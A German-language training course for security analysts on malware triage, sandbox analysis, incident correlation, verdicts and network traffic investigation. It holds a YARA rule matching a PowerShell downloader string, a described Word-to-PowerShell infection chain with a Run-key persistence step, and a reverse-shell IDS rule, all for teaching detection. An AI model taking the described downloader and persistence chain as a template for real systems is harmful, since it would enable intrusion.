Eine ausführbare PE-Datei hat Header, Abschnitte wie .text, .data und .rsrc sowie eine Importtabelle der angeforderten Funktionen. VirtualAllocEx, WriteProcessMemory und CreateRemoteThread zusammen deuten auf eine mögliche Codeinjektion hin. URLDownloadToFile und InternetOpenUrl deuten auf eine Downloadfähigkeit hin. Ein Kompilierungszeitstempel kann gefälscht sein und muss durch weitere Belege bestätigt werden.

Packer komprimieren oder verschlüsseln Code und entpacken ihn im Arbeitsspeicher. Wenige Zeichenketten, eine kurze Importliste, UPX0-/UPX1-Abschnitte und hohe Entropie deuten auf Packen hin. Bei stark zufällig wirkenden Daten nähert sich die Entropie 8 Bit pro Byte, aber komprimierte Ressourcen und gewöhnliche Installationsprogramme können ähnlich aussehen. Packen verändert die Untersuchung; es entscheidet nicht über das Urteil.

Text dekodieren und einen Treffer prüfen

CyberChef-Rezepte können Base64, Hexadezimalwerte, XOR, Dekomprimierung und URL-Dekodierung kombinieren. Wende die Operationen in der Reihenfolge an, die der Inhalt benötigt. Ein regulärer Ausdruck wie \b(?:\d{1,3}\.){3}\d{1,3}\b extrahiert IPv4-ähnlichen Text, erfasst aber auch 999.1.1.1. Validiere daher die gefundenen Werte.

Eine YARA-Regel kann unabhängige Merkmale kombinieren:

rule Suspicious_Downloader
{
    strings:
        $mz = { 4D 5A }
        $a = "DownloadString" ascii wide
        $b = "198.51.100.7"
    condition:
        $mz at 0 and $a and $b
}

Die Datei muss mit MZ beginnen und beide Zeichenketten enthalten; ascii wide akzeptiert die Download-Zeichenkette in beiden Darstellungen. Teste die Regel an bekannten unbedenklichen Dateien, um zufällige Treffer zu messen. Ein Treffer belegt die Bedingungen der Regel; ihre Bedeutung ergibt sich aus der Prüfung durch den Analysten.

Extrahiere bei Dokumenten Makros mit olevba. Entferne bei Skripten Kodierung oder Verschleierung auf Textebene. Nutze die resultierenden Funktionen, Argumente und Indikatoren, um die dynamische Analyse zu konfigurieren und zu interpretieren.

Wichtige Erkenntnisse

  • Ermittle den tatsächlichen Dateityp anhand von Struktur und Bytes über die Erweiterung hinaus.
  • Extrahiere bei der Untersuchung von Windows-Samples ASCII- und UTF-16LE-Zeichenketten.
  • Nutze Importe und Hinweise auf Packen, um überprüfbare Hypothesen über Fähigkeiten aufzustellen.
  • Validiere dekodierte Indikatoren und Treffer regulärer Ausdrücke.
  • Lies jede YARA-Bedingung und teste Regeln an bekannten unbedenklichen Inhalten.

4.3 Eine Sandbox-Analyse durchführen und ihre Ergebnisse interpretieren

Die dynamische Analyse führt ein Sample in einer kontrollierten Umgebung aus und zeichnet seine Aktionen auf. Eine Sandbox kann Verhalten aufdecken, das durch Packen verborgen ist, oder aktive Inhalte eines Dokuments sichtbar machen. Ihr Bericht beschreibt diesen Durchlauf unter dieser Konfiguration; prüfe, ob das Sample hatte, was es zum Handeln benötigte.

Einen aussagekräftigen Durchlauf einrichten

Verwende eine isolierte, mit Überwachungswerkzeugen ausgestattete Umgebung wie Joe Sandbox, Cuckoo oder eine interaktive Sandbox. Trenne sie von der Produktionsumgebung, kontrolliere ihren Netzwerkzugang und setze sie nach jedem Durchlauf auf einen sauberen Snapshot zurück. Netzwerkdienste können mit INetSim oder FakeNet simuliert oder über genehmigte Analyseinfrastruktur geleitet werden. Bewahre vertrauliche Samples in privaten Systemen auf.

Stimme Betriebssystem und Anwendungen auf das Ziel ab. Ein Makrodokument benötigt die passende Office-Umgebung; ein Archiv kann sein Passwort benötigen; ein Programm kann Argumente, Klicks, einen bestimmten Elternprozess oder einen Neustart verlangen. Dokumentiere diese Einstellungen und die Laufzeit, damit ein anderer Analyst das Ergebnis interpretieren kann.

Die Aktionen hinter der Bewertung lesen

Untersuche Prozessbaum, Datei- und Registrierungsänderungen, DNS- und HTTP-Aktivität, Verbindungen, Bildschirmaufnahmen und Hashwerte abgelegter Dateien. Ein Bericht kann auch Mutexes und ATT&CK-Zuordnungen zeigen. Ein Mutex koordiniert den exklusiven Zugriff auf eine Ressource; Malware verwendet manchmal einen charakteristischen Mutex-Namen, um die Ausführung zweier Kopien zu vermeiden. Auch legitime Software verwendet Mutexes.

Betrachte einen Dokumentdurchlauf, der Word → verstecktes kodiertes PowerShell, eine Abfrage nach cdn-update.example.net, ein HTTP-GET für /a.ps1, C:\Users\Public\upd.exe und einen auf diese Datei zeigenden Run-Eintrag erzeugt. Sammle Domäne, IP-Adresse, URL, Hashwert der abgelegten Datei, Pfad und Run-Wert. PowerShell stützt die Zuordnung zu T1059.001 und der Run-Eintrag die Zuordnung zu T1547.001. Die Zustellung als Phishing-Anhang benötigt für T1566.001 separate E-Mail-Belege.

Beziehe die Aussagen des Berichts auf seine aufgezeichneten Ereignisse. Eine hohe Gesamtbewertung hilft, ein Sample zu priorisieren, aber die Prozessaktionen erklären, was geschah und welche Indikatoren in deiner Umgebung nützlich sind.

Ein inaktives Sample untersuchen

Malware kann länger als der Beobachtungszeitraum warten, virtuelle Hardware erkennen, Arbeitsspeicher oder CPU-Ressourcen prüfen, auf Klicks warten oder eine bestimmte Sprache oder einen bestimmten Standort verlangen. Auch ein fehlgeschlagener Download kann die Ausführung der nächsten Stufe verhindern. Prüfe Abhängigkeiten und statische Befunde erneut, bevor du einen inaktiven Durchlauf als beruhigend wertest.

Wähle einen erneuten Durchlauf, der eine konkrete Erklärung prüft: Verlängere bei einer Verzögerung die Laufzeit, stelle die erforderliche Anwendung oder Argumente bereit, ergänze Interaktion oder verwende ein anderes Betriebssystemprofil. Dokumentiere, was sich geändert hat. Bleibt eine wichtige Unsicherheit bestehen, eskaliere das Sample zur spezialisierten Reverse-Engineering-Analyse.

Die Befunde in den Fall zurückführen

Durchsuche DNS-, Proxy-, Firewall- und EDR-Datensätze nach den aussagekräftigen Domänen, Pfaden, Hashwerten und dem Verhalten. Windows-Updates, Zertifikatsprüfungen und Verbindungstests einer Sandbox sind Hintergrundaktivität; unterscheide sie von Aktionen des Samples, bevor du Ziele blockierst.

Eine Sandbox kann Suchhinweise für andere Hosts liefern, aber ihr isolierter Durchlauf belegt nicht, welche Produktionshosts infiziert waren. Gleiche die Hinweise mit lokalen Ereignissen und dem Prozessverlauf ab und sichere diese Datensätze zusammen mit dem Bericht und dem Sample-Hashwert.

Wichtige Erkenntnisse

  • Stimme Sandbox-Abhängigkeiten, Argumente, Interaktion und Laufzeit auf das Sample ab.
  • Untersuche die aufgezeichneten Aktionen und abgelegten Artefakte hinter der Gesamtbewertung.
  • Ordne beobachtete Ausführung und Persistenz getrennt von Zustellungsbelegen zu.
  • Prüfe konkrete Gründe für Inaktivität und kombiniere dynamische mit statischen Befunden.
  • Filtere Hintergrundverkehr heraus, bevor du Sandbox-Indikatoren für Suchen in der Produktionsumgebung verwendest.
5

Belege korrelieren und Aktivitäten auf Bösartigkeit beurteilen

Ein nachvollziehbar begründeter Fall verbindet Datensätze, ohne ihre Quelle zu verlieren oder ihre Bedeutung zu übertreiben. Du gleichst Zeitzonen und Identitäten ab, unterscheidest Beobachtungen von Hypothesen und beschreibst belegtes Verhalten mit ATT&CK. Das abschließende Urteil verbindet Autorisierung, technische Belege und geschäftliche Auswirkungen. Klare Notizen, Beweisverweise und Aufzeichnungen zur Beweismittelkette machen das Urteil für die Einsatzkräfte nutzbar, die es erhalten.

5.1 Belege korrelieren und zu einer Zeitleiste zusammenführen

Korrelation verbindet Datensätze zu einer Darstellung eines Sicherheitsvorfalls, die ein anderer Analyst prüfen kann. E-Mails können die Zustellung belegen, Endgerätetelemetrie die Ausführung und Netzwerkbelege die Kommunikation. Eine nützliche Zeitleiste trennt diese Beobachtungen von ursächlichen Verbindungen, die du noch prüfst.

Zeit und Identität vereinheitlichen

Wandle Zeiten in UTC um und halte die ursprüngliche Zeitzone und jeden bekannten Uhrenversatz fest. Eine EDR-Zeit von 11:14:31 Uhr bei UTC+2 ist 09:14:31 Uhr UTC. Prüfe, ob die Konsole oder der Export die ursprünglichen UTC-Zeitstempel eines Sensors umgerechnet hat. Uhrendrift bei NTP kann dazu führen, dass Quellen auch nach der Zeitzonenumrechnung um Minuten auseinanderliegen.

Wähle Verknüpfungsfelder, die zum betreffenden Zeitpunkt dasselbe Objekt identifizieren: Host, Benutzer, Hashwert, URL, Domäne, Message-ID, Zeek-uid oder Prozess-GUID. Eine PID benötigt eine Startzeit, weil sie erneut vergeben werden kann. Eine IP-Adresse benötigt die DHCP- oder VPN-Historie, weil ein späterer Lease sie einem anderen Host zuweisen kann. Bewahre jeden Quelldatensatz oder Abfrageverweis neben dem Zeitleisteneintrag auf.

Die Kette beobachteter Ereignisse erstellen

Für einen Fall liegen folgende UTC-Belege vor:

  • 09:12:05 Uhr: Eine Nachricht mit invoice.docm erreicht 40 Postfächer.
  • 09:14:10 Uhr: Der Benutzer auf WS-0423 öffnet den Anhang.
  • 09:14:31 Uhr: Word startet kodiertes PowerShell.
  • 09:14:32–33 Uhr: DNS löst den Download-Host auf und ein HTTP-GET fragt /a.ps1 an.
  • 09:15:02 Uhr: upd.exe wird geschrieben und ein Run-Wert erstellt.
  • Ab 09:20:00 Uhr: Verbindungen wiederholen sich alle 300 Sekunden.
  • In der folgenden Nacht, 02:10–02:50 Uhr: 2,4 GB verlassen den Host an dieselbe IP-Adresse.

Die Prozess- und Dateibelege stützen die Zusammenhänge bei Ausführung und Persistenz. Der große Upload muss weiter zugeordnet werden: Eine gemeinsame IP-Adresse mit früherem Verkehr ist ein schwächerer Hinweis als eine gemeinsame Prozessinstanz und ein gemeinsamer Anwendungskanal.

Nur zuordnen, was die Belege stützen

MITRE ATT&CK liefert Standardnamen für Verhalten. Die Nachricht stützt die Zuordnung zu Spear-Phishing-Anhang, T1566.001; PowerShell stützt T1059.001; der Run-Eintrag stützt T1547.001. Die Zuordnung des periodischen Verkehrs zu C2 über Webprotokolle, T1071.001, benötigt HTTP- oder HTTPS-Belege. Die Zuordnung des Uploads zur Datenexfiltration über diesen C2-Kanal, T1041, benötigt den Beleg, dass derselbe Prozess und Kanal ihn übertragen haben.

ATT&CK ist keine vorgeschriebene Abfolge. Erkundung, Zugriff auf Zugangsdaten und laterale Bewegung sind mögliche Ansätze für weitere Suchen, keine fehlenden Schritte, die in die Zeitleiste eingefügt werden müssen.

Lücken für die nächste Abfrage nutzen

Übersteigt der Upload die eigenen Dateien des Benutzers, untersuche, ob der Prozess Freigaben gelesen, Daten erzeugt oder Übertragungen wiederholt hat oder ob er mit legitimem Verkehr zusammenfiel. Ermittle, soweit verfügbar, den Sender und den übertragenen Inhalt. Dokumentiere ein unerklärtes Ereignis als unerklärt, statt es in die erste Theorie zu pressen.

Prüfe aktiv eine alternative Erklärung, etwa eine genehmigte Änderung oder eine Datensicherung. Ein Bestätigungsfehler liegt vor, wenn ein Analyst nur Fakten sammelt, die zur ersten Diagnose passen. Eine Zeitleiste wird nützlicher, wenn jede unsichere Verbindung die Belege nennt, die sie stärken oder schwächen würden.

Wichtige Erkenntnisse

  • Wandle Zeitstempel in UTC um und halte die Zeitzonen und Uhrenversätze der Quellen fest.
  • Verknüpfe Prozessinstanzen, Adresszuweisungen und andere Identitäten zum Zeitpunkt des Ereignisses.
  • Halte beobachtete Ereignisse von vermuteten ursächlichen Verbindungen getrennt.
  • Nimm ATT&CK-Zuordnungen nur vor, wenn das zugrunde liegende Verhalten beobachtet wurde.
  • Nutze Lücken und konkurrierende Erklärungen, um weitere Suchen nach Belegen auszuwählen.

5.2 Ein abschließendes Urteil fällen und die Ergebnisse dokumentieren

Ein Urteil hält fest, was die Belege stützen, wie hoch dein Vertrauensgrad ist und was als Nächstes geschehen sollte. Die Vorfalldokumentation muss einem anderen Analysten ermöglichen, die Untersuchung zu wiederholen. Die Einstufung einer Alarmmeldung mit hohem Schweregrad allein liefert weder ein Urteil noch einen begründbaren Vertrauensgrad.

Den Befund klassifizieren

Ein richtig positives Ergebnis meldet bösartige Aktivität korrekt. Ein falsch positives Ergebnis meldet Aktivität außerhalb dessen, was die Erkennung finden sollte. Ein gutartiges richtig positives Ergebnis erkennt korrekt tatsächliches, aber autorisiertes Verhalten, etwa einen geplanten Penetrationstest. Ein falsch negatives Ergebnis ist übersehene bösartige Aktivität. Verwende „nicht abschließend beurteilbar“, wenn die Belege noch keine Entscheidung erlauben, und nenne die fehlenden Daten.

Prüfe, ob das Verhalten zu Host und Benutzer passt, ob es autorisiert war, wie verbreitet es ist und ob unabhängige Quellen übereinstimmen. Gib einen hohen, mittleren oder niedrigen Vertrauensgrad mit konkreten Gründen an. Der Vertrauensgrad beschreibt die Stärke des Befunds; der Schweregrad beschreibt seine Auswirkungen und Dringlichkeit.

Ein kodierter PowerShell-Befehl, den ein signierter Verteilungsagent auf 3.000 Hosts während eines genehmigten Wartungsfensters startet, ergibt nach der Dekodierung eine autorisierte Installation. Das ist ein gutartiges richtig positives Ergebnis, wenn die Regel kodiertes PowerShell korrekt erkennt. Dasselbe Muster, von Word auf einem Host gestartet, mit Kontakt zu einer zwei Tage alten Domäne und anschließender Einrichtung von Persistenz, stützt ein bösartiges Urteil mit hohem Vertrauensgrad.

Eine nachvollziehbare Übergabe schreiben

Dokumentiere eine kurze Zusammenfassung, die UTC-Zeitleiste, betroffene Hosts und Konten, entschärfte Indikatoren, belegte ATT&CK-Techniken, Urteil und Vertrauensgrad. Füge Abfragen, Alarmmeldungs-IDs, Speicherorte von Beweismitteln und Datei-Hashwerte hinzu, damit ein anderer Analyst dieselben Datensätze finden kann. Liste bereits ergriffene Maßnahmen und empfohlene nächste Schritte auf.

Erkläre, warum eine Alarmmeldung geschlossen wird. Schlägt eine Erkennung wiederholt bei Aktivitäten außerhalb ihres vorgesehenen Bereichs an, gib den Entwicklern der Erkennungsregel Beispiele und Kontext für die Feinabstimmung. Ein Abschluss ohne Erklärung verbirgt sowohl übersehene Angriffe als auch wiederkehrenden unnötigen Aufwand.

Indikatoren mit Kontext weitergeben

Ergänze bei Domänen- und IP-Indikatoren ein Ablauf- oder Prüfdatum, weil sich Eigentum und Nutzung ändern. Vermeide undifferenzierte Blockierungen gemeinsam genutzter Infrastruktur wie CDNs. Exakte Hashwerte identifizieren eine Dateiversion, während verhaltensbasierte Erkennungen Varianten erfassen können. Erhalte bei der Weitergabe die Beziehung zwischen einem Indikator, seinem beobachteten Verhalten und seinem Vertrauensgrad.

Beweismittel erhalten und eskalieren

Eskaliere einen bestätigten bösartigen Befund gemäß dem Playbook zur Behandlung von Sicherheitsvorfällen; der Schweregrad richtet sich nach betroffenen Assets und Auswirkungen. Bewahre Originalnachrichten, Mitschnitte, Endgeräteexporte und gesammelte Samples auf. Dokumentiere den SHA-256-Hashwert jeder Datei sowie wer sie wann gesichert oder übertragen hat. Diese Aufzeichnungen zur Beweismittelkette dokumentieren den Umgang mit den Beweismitteln; der Hashwert ermöglicht eine Integritätsprüfung.

Die EDR-Isolierung ist dem Ausschalten meist vorzuziehen, weil sie die Kommunikation einschränkt und zugleich Arbeitsspeicher und einen Verwaltungszugang erhält. Auch das Beenden von Prozessen und ein Neustart verändern flüchtige Beweismittel. Folge den Eindämmungsprioritäten des Playbooks, sichere, was der Fall benötigt, und dokumentiere den Zeitpunkt jeder Reaktionsmaßnahme, damit spätere Analysten Angreiferaktivität von der Reaktion unterscheiden können.

Wichtige Erkenntnisse

  • Unterscheide erkannte bösartige Aktivitäten, erkanntes autorisiertes Verhalten und Erkennungsfehler.
  • Begründe den Vertrauensgrad mit Belegen und den Schweregrad mit Auswirkungen.
  • Füge die Abfragen und Beweisverweise hinzu, die zur Nachvollziehung des Urteils nötig sind.
  • Ergänze weitergegebene Indikatoren um Kontext und Prüfdaten.
  • Bewahre bei einer Eskalation Originale, Hashwerte und Aufzeichnungen zur Beweismittelkette auf.

Netzwerkverkehr analysieren: Beispiele

5 Interaktive Lektionen

1

Eine Arbeitsstation vom Mitschnitt bis zum Urteil über den Netzwerkverkehr verfolgen

17 Schritte
Wähle Belege aus, rekonstruiere einen Austausch und prüfe ein verdächtiges Netzwerkmuster.
  1. 1
    EinführungDie Ursache des Verkehrs finden

    Eine Arbeitsstation hat begonnen, einen neuen Server zu kontaktieren, und eine Netzwerkalarmmeldung nennt eine mögliche Reverse-Shell. Du wählst einen geeigneten Aufzeichnungspunkt, liest den Austausch, prüfst sein längerfristiges Volumen und verifizierst, worauf die Alarmmeldung angeschlagen hat. Paketmitschnitte zeigen Inhalte, während Flow-Datensätze nur festhalten, wer wann und in welchem Umfang kommuniziert hat, dafür aber weiter zurückreichen.

    Halte während der Untersuchung zwei Fragen auseinander: Was hat der Sensor beobachtet und was lässt sich daraus über die Arbeitsstation schließen?

  2. 2
    ErklärungDen Sensor im Verkehrsweg platzieren

    Ein Mitschnitt am Internetübergang kann die externe Verbindung der Arbeitsstation sehen, verpasst aber Verkehr, der innerhalb eines Switches bleibt. Ein Mitschnitt außerhalb von NAT benötigt außerdem Übersetzungsdatensätze, um die interne Quelle zu ermitteln.

    Wähle passend zur Frage einen Hostmitschnitt oder eine korrekt platzierte TAP-/SPAN-Zuführung. Die Kapazität ist wichtig: Werden beide Richtungen einer stark ausgelasteten Verbindung zusammengefasst, kann das die Kapazität eines Überwachungsports übersteigen und zu Paketverlusten führen.

  3. 3
    BeispielDen Hostverkehr speichern

    Schneide in diesem Fall die Arbeitsstation unter 192.168.1.50 auf eth0 mit:

    sudo tcpdump -i eth0 -nn -s 0 -w case42.pcap host 192.168.1.50 and not port 22
    

    Die Optionen wählen die Schnittstelle, vermeiden Namensabfragen, behalten vollständige Pakete und speichern Rohdaten. Der Hostfilter erfasst beide Richtungen; der Ausschluss von Port 22 entfernt die Fernsitzung des Analysten, wenn sie diesen Port verwendet.

  4. 4
    HerausforderungEin ausgeschlossenes Protokoll wiederherstellen

    Angenommen, ein Mitschnitt verwendete host 192.168.1.50 and tcp port 443. Kann ein späterer Anzeigefilter die UDP-443-Pakete dieses Hosts sichtbar machen?

    ---reveal---

    Nein. Der Aufzeichnungsfilter hat UDP vor dem Speichern ausgeschlossen, sodass ein Anzeigefilter nichts sichtbar machen kann. UDP 443 kann QUIC enthalten. Prüfe eine andere Quelle oder schneide mit einem geeigneten breiteren Filter mit; bewahre den ersten Mitschnitt mit seinem Zeitbereich und seiner Paketverluststatistik auf.

  5. 5
    BeispielDen Client identifizieren

    Der gespeicherte Austausch beginnt mit 192.168.1.50:51544 → 203.0.113.80:443 SYN. Der Server sendet SYN-ACK an Port 51544 zurück, danach sendet der Client ACK.

    Die Arbeitsstation hat die Verbindung initiiert. Der hohe Port identifiziert diesen clientseitigen Endpunkt; in der Antwort ist das Paar vertauscht. Eine Portnummer deutet auf den erwarteten Dienst hin, aber der Handshake allein sagt nichts über die darin übertragene Anwendung aus.

  6. 6
    BeispielDen zurückgegebenen Inhalt lesen

    Verfolge den TCP-Datenstrom des unverschlüsselten Downloads mit Follow TCP Stream. Die Anfrage nennt /update.php?id=WS-0423 und Host: cdn-update.example.net. Die Antwort ist erfolgreich und ihr Nachrichtenrumpf beginnt mit MZ.

    Die Antwort scheint eine ausführbare Datei zu liefern, obwohl der Pfad auf .php endet. Exportiere das Objekt, um Typ, Hashwert und Signatur zu prüfen. Der URL-Pfad ist ein Anfrageziel und keine Zusage über das zurückgegebene Dateiformat.

  7. 7
    ErklärungSichtbare TLS-Details erkennen

    Verwendet ein späterer Austausch TLS, sind die Nutzdaten ohne geeignete Sitzungsschlüssel oder einen Inspektionspunkt verschlüsselt. Zeitangaben und Bytegrößen bleiben nützlich. Ein sichtbares Client Hello kann SNI und einen Fingerabdruck liefern.

    ECH kann den angefragten Namen verbergen. Anders als TLS 1.2 verschlüsselt TLS 1.3 auch das Serverzertifikat. Dokumentiere, was dieser Mitschnitt tatsächlich offenlegt, bevor du entscheidest, welche Namens- oder Zertifikatsbelege fehlen.

  8. 8
    HerausforderungEine Domänenzuordnung prüfen

    DNS hat für eine verdächtige Domäne 198.51.100.7 zurückgegeben und der Host hat sich mit dieser IP-Adresse verbunden. Was würde die Domänenzuordnung stärken?

    ---reveal---

    Ein HTTP-Host-Header, eine sichtbare TLS-SNI, ein Proxydatensatz oder ein Endgeräteereignis, das diese Domäne nennt, würde sie stärken. Andere Domänen können sich die IP-Adresse teilen. Die Abfolge ist ein nützlicher Hinweis, aber wer jede Verbindung zu dieser Adresse einer Domäne zuschreibt, überspringt eine notwendige Identitätsprüfung.

  9. 9
    AnalogieDen Einzelverbindungsnachweis des Verkehrs nutzen

    Ein Flow-Datensatz ähnelt einem Einzelverbindungsnachweis: Beteiligte, Zeitangaben und Volumen bleiben erhalten, der Wortlaut des Gesprächs nicht. Er eignet sich für die Suche über einen längeren Zeitraum, als ein vollständiger Mitschnitt normalerweise aufbewahrt wird.

    Finde den verdächtigen Host und Zeitraum zunächst in der Flow-Historie. Rufe dann die Pakete für den betreffenden Austausch ab, falls sie vorhanden sind, und unterscheide dabei Verkehrsmessungen von Inhaltsbelegen.

  10. 10
    BeispielDie gemessene Verbindung rekonstruieren

    Eine Verbindung kann getrennte Flow-Datensätze für Hin- und Gegenrichtung sowie durch Zeitüberschreitungen entstandene Teile haben. Ordne Adressen und Ports in umgekehrter Reihenfolge einander zu, behalte das Protokoll bei und führe die zu diesem Austausch gehörenden Teile zusammen.

    Summiere ausgehende und eingehende Bytes getrennt. Miss die Zeit vom frühesten Beginn bis zum spätesten Ende. Addierst du die Dauern überlappender Richtungen, kann eine 40-minütige Verbindung scheinbar 80 Minuten dauern.

  11. 11
    BeispielVolumen und Rate berechnen

    Der Host sendet zwischen 02:10 und 02:50 Uhr UTC 2,4 GB und empfängt 12 MB. Rechne das gesendete Volumen in 2.400 MB um: Das Verhältnis von ausgehendem zu eingehendem Verkehr beträgt 200:1.

    Der Zeitraum umfasst 2.400 Sekunden, daher beträgt der ausgehende Durchschnitt 1 MB/s oder 8 Mbit/s. Das sind Messwerte. Für die anschließende Beurteilung vergleichst du sie mit der Rolle des Hosts, erwartetem Sicherungsverkehr, der Zielhistorie und dem verantwortlichen Prozess.

  12. 12
    HerausforderungEin leeres Bytefeld interpretieren

    Zeek erfasst den TCP-Zustand S0, ein vom Initiator gesendetes Paket und null Nutzdatenbytes. Sollte der Versuch als fehlender Verkehr verworfen werden?

    ---reveal---

    Nein. Der Datensatz beschreibt einen beobachteten Versuch ohne Antwort. Ein SYN enthält keine Anwendungsnutzdaten, daher passen null Nutzdatenbytes zum Paketbeleg. Flow-Exporter, die IP-Header einbeziehen, können für denselben Versuch eine Bytezahl ungleich null melden; vergleiche die Feldbedeutungen, bevor du Gesamtzahlen vergleichst.

  13. 13
    BeispielDas wiederholte Intervall messen

    Verbindungen erfolgen um 10:00:00, 10:05:02, 10:09:59, 10:15:01 und 10:20:00 Uhr. Die Abstände betragen 302, 297, 302 und 299 Sekunden, im Durchschnitt 300 Sekunden.

    Ähnlich kleine Übertragungen in diesem Rhythmus deuten auf eine Software-Zeitsteuerung hin. Prüfe Prozess und Ziel, bevor du es als C2 bezeichnest; auch genehmigte Update-Software wiederholt Kontakte. Größere Schwankungen könnten Jitter einer Zeitsteuerung sein, daher ist keine perfekte Regelmäßigkeit erforderlich.

  14. 14
    ErklärungDie tatsächliche IDS-Bedingung lesen

    Eine Regel alarmiert bei TCP von $HOME_NET zu Port 4444 von $EXTERNAL_NET mit flow:to_server,established. Ihre Meldung lautet „Possible reverse shell“.

    Die aufgebaute Verbindung und die Richtung sind Bedingungen, die die Regel prüft. Shell-Befehle gehören nicht dazu. Lies sid und Revision, um die Regel zu identifizieren, und untersuche dann die Pakete und den Endgeräteprozess, um die Bedeutung des zutreffenden Verkehrs zu bestimmen.

  15. 15
    HerausforderungDie Genehmigung eines Scans prüfen

    Ein Host prüft viele Ports auf einem Server und erzeugt überwiegend REJ und S0. Was muss geprüft werden, bevor dies als Scan eines Angreifers eingestuft wird?

    ---reveal---

    Prüfe das Inventar genehmigter Scanner und den Testzeitplan. Das Muster ist ein vertikaler Portscan, kann aber auch durch einen autorisierten Schwachstellenscan entstehen. Eine passende Quelladresse ist nur dann hilfreich, wenn auch ihre aktuelle Zuweisung und der Testzeitpunkt zur Genehmigung passen.

  16. 16
    HerausforderungDie Netzwerkhinweise zusammenführen

    Das neue Ziel weist periodische Kontakte, einen großen nächtlichen Upload und eine portbasierte Alarmmeldung auf. Welche Belege sollten entscheiden, ob diese zu einer bösartigen Aktivitätskette gehören?

    ---reveal---

    Nutze Endgeräteprozessinstanzen, um die Verbindungen zuzuordnen, und untersuche dann Protokoll- und Zielkontext. Vergleiche den Upload mit genehmigter Aktivität. Eine gemeinsame IP-Adresse und eine Regelmeldung lassen die Möglichkeit unabhängigen Verkehrs oder gemeinsam genutzter Infrastruktur offen und können daher für sich genommen weder C2 noch Diebstahl belegen.

  17. 17
    ZusammenfassungDie Belege weitergeben

    Du hast nun einen Mitschnitt mit bekanntem Beobachtungspunkt, einen rekonstruierten Austausch, richtungsbezogene Verkehrsmessungen und eine geprüfte Erklärung der Alarmmeldung. Die Übergabe sollte die relevanten Pakete, ursprünglichen Zeitstempel, Hashwerte und Abfrageverweise enthalten.

    Bleibt der Verkehr verdächtig, ist der Endgeräteprozess, der ihn erzeugt hat, der nützlichste nächste Ansatzpunkt: Dieser Prozess kann das Netzwerkmuster mit Ausführung, Dateien und Persistenz verbinden.

2

Eine gemeldete Lieferantennachricht untersuchen

13 Schritte
Lies vertrauenswürdige Header, untersuche eine Zahlungsaufforderung und ermittle die betroffenen Empfänger.

Speichere diese Einheit, um jede Interaktive Lektion Schritt für Schritt durchzugehen.

  1. 1
    EinführungMit der Originalnachricht beginnen
  2. 2
    ErklärungDie Absenderfelder unterscheiden
  3. 3
    TippDie Vertrauensgrenze finden
  4. 4
    BeispielErfolgreich geprüfte Domänen vergleichen
  5. 5
    HerausforderungEine erhaltene übereinstimmende Signatur nutzen
  6. 6
    BeispielDie geschäftliche Handlung untersuchen
  7. 7
    ErklärungDen tatsächlichen Host in einem Link lesen
  8. 8
    HerausforderungEine unabhängige Bestätigung wählen
  9. 9
    BeispielEine personalisierte URL dekodieren
  10. 10
    ErklärungZustellung und Interaktion getrennt untersuchen
  11. 11
    HerausforderungDas Ausmaß über die meldende Person hinaus ermitteln
  12. 12
    HerausforderungEntscheiden, welche Belege den Fall verändern
  13. 13
    ZusammenfassungReichweite und Auswirkungen übergeben
3

Die Ausführung verfolgen und Rückkehrwege finden

16 Schritte
Verfolge den Prozessbaum eines Dokuments, untersuche Persistenz und verbinde Hoständerungen mit einem Sicherheitsvorfall.

Speichere diese Einheit, um jede Interaktive Lektion Schritt für Schritt durchzugehen.

  1. 1
    EinführungDie Hosthistorie verfolgen
  2. 2
    ErklärungDie Telemetrie bestätigen
  3. 3
    HerausforderungProzessinstanzen auseinanderhalten
  4. 4
    BeispielDie Prozessabstammung lesen
  5. 5
    ErklärungDen Befehlstext dekodieren
  6. 6
    HerausforderungEin signiertes Werkzeug beurteilen
  7. 7
    BeispielDen Anmeldeauslöser lesen
  8. 8
    BeispielDie geplante Aktion untersuchen
  9. 9
    ErklärungÜber zwei Orte hinaus suchen
  10. 10
    HerausforderungMit zwei Persistenzwegen umgehen
  11. 11
    BeispielDas alt wirkende Dateidatum lesen
  12. 12
    ErklärungÄnderungen an Schutzmaßnahmen finden
  13. 13
    HerausforderungEin Archiv mit einem Upload verbinden
  14. 14
    VerbindungDas Inventar als Kontext nutzen
  15. 15
    HerausforderungEine beweiserhaltende Eindämmung wählen
  16. 16
    ZusammenfassungDie Hostkette beschreiben
4

Aus einer verdächtigen Datei überprüfbare Befunde ableiten

14 Schritte
Kombiniere die Reputation der exakten Datei, statische Hinweise und einen kontrollierten Sandbox-Durchlauf.

Speichere diese Einheit, um jede Interaktive Lektion Schritt für Schritt durchzugehen.

  1. 1
    EinführungAn jede Methode eine andere Frage stellen
  2. 2
    BeispielDie exakte Inhaltskennung dokumentieren
  3. 3
    ErklärungDen Bericht über das Verhältnis hinaus lesen
  4. 4
    HerausforderungEine unbekannte signierte Datei interpretieren
  5. 5
    BeispielDas tatsächliche Dateiformat prüfen
  6. 6
    BeispielBeide Textformen extrahieren
  7. 7
    ErklärungHinweise auf Packen kombinieren
  8. 8
    HerausforderungEine verknüpfende YARA-Regel lesen
  9. 9
    ErklärungDie Laufzeitumgebung abstimmen
  10. 10
    BeispielVerhalten und Artefakte extrahieren
  11. 11
    HerausforderungEinen inaktiven Durchlauf erklären
  12. 12
    HerausforderungVerhalten von der Zustellung unterscheiden
  13. 13
    VerbindungMit dauerhaften Hinweisen suchen
  14. 14
    ZusammenfassungFähigkeit und Beobachtung unterscheiden
5

Einen nachvollziehbar begründeten Vorfallbefund erstellen und übergeben

11 Schritte
Gleiche Belege ab, prüfe ursächliche Verbindungen und dokumentiere ein Urteil mit Vertrauensgrad.

Speichere diese Einheit, um jede Interaktive Lektion Schritt für Schritt durchzugehen.

  1. 1
    EinführungDie Belege überprüfbar machen
  2. 2
    BeispielDie Konsolenzeit umrechnen
  3. 3
    ErklärungDie Zuweisung der Adresse prüfen
  4. 4
    BeispielDie beobachtete Abfolge erstellen
  5. 5
    HerausforderungEine Schlussfolgerung aus einer gemeinsamen IP-Adresse prüfen
  6. 6
    KernaussageBeobachtetes mit ATT&CK beschreiben
  7. 7
    ErklärungErkennung von Autorisierung unterscheiden
  8. 8
    HerausforderungEine genehmigte Softwareverteilung klassifizieren
  9. 9
    BeispielUrteil und Übergabe schreiben
  10. 10
    HerausforderungDie abschließende Aussage angemessen begrenzen
  11. 11
    ZusammenfassungEinen fortführbaren Fall hinterlassen

Netzwerkverkehr analysieren: Übungsaufgaben

50 Übungsfragen in 5 Sets

Set 1: Den Netzwerkverkehr lesen und die Alarmmeldung prüfen10 Übungsfragen

Frage 1 von 10

